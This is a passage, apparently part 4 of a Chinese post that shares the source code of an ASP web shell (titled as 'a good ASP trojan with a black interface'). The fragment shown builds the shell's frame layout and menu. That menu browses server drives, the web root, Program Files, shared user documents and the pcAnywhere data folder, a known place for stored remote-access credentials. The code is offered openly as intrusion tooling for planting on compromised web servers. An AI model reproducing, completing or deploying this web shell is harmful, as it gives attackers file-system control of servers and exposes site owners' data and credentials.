一款不错的asp木马 黑色界面(4)

RRS"<input name='FolderPath' style='width:100%' value='"&Session
("FolderPath")&"'>"
RRS"</td><td width='140' align='center'><input name='Submit' 
type='submit' value='转到'> <input type='submit' value='刷新主窗口' 
onclick='FileFrame.location.reload()'>" 
RRS"</td></tr></form></table></td></tr><tr><td width='170'>"
RRS"<iframe name='Left' src='?Action=MainMenu' width='100%' 
height='100%' frameborder='0'></iframe></td>"
RRS"<td>"
RRS"<iframe name='FileFrame' src='?Action=Show1File' width='100%' 
height='100%' frameborder='1'></iframe>"
RRS"</td></tr></table>"
End Function
Function MainMenu()
RRS"<table width='100%' cellspacing='0' cellpadding='0'>"
RRS"<tr><td height='5'></td></tr>"
RRS"<tr><td><center><a href='"&SiteURL2&"' target='_blank'><font 
color=red>"&mName2&"</font></center></a><hr hight=1 width='100%'>"
RRS"</td></tr>"
If ObT(0,1)=" ×" Then
RRS"<tr><td height='24'>无权限</td></tr>"
Else
RRS"<tr><td height=22 onmouseover=""menu1.style.display=''""> ↓查看硬
盘<div id=menu1 style=""width:100%;display='none'"" 
onmouseout=""menu1.style.display='none'"">"
Set ABC=New LBF:RRS ABC.ShowDriver():Set ABC=Nothing
RRS"</div></td></tr><tr><td height='20'><a href='javascript:ShowFolder
("""&RePath(WWWRoot)&""")'>->站点根目录</a></td></tr>"
RRS"<tr><td height='20'><a href='javascript:ShowFolder("""&RePath
(RootPath)&""")'>→本程序目录</a></td></tr>"
RRS"<tr><td height='20'><a href='javascript:ShowFolder(""C:\\Program 
Files"")'>→Program Files</a></td></tr>"
RRS"<tr><td height='20'><a href='javascript:ShowFolder(""C:\\Documents 
and Settings\\All Users\\Documents"")'>->Documents</a></td></tr>"
RRS"<tr><td height='20'><a href='javascript:ShowFolder(""C:\\Documents 
and Settings\\All Users\\Application Data\\Symantec\\pcAnywhere"")'>-
>pcAnywhere</a></td></tr>"
RRS"<tr><td height='20'><a href='javascript:ShowFolder(""C:\\Documents 
and Settings\\All Users\\「开始」菜单\\程序"")'>->开始 <b>→</b> 程序
<hr></a></td></tr>"
End If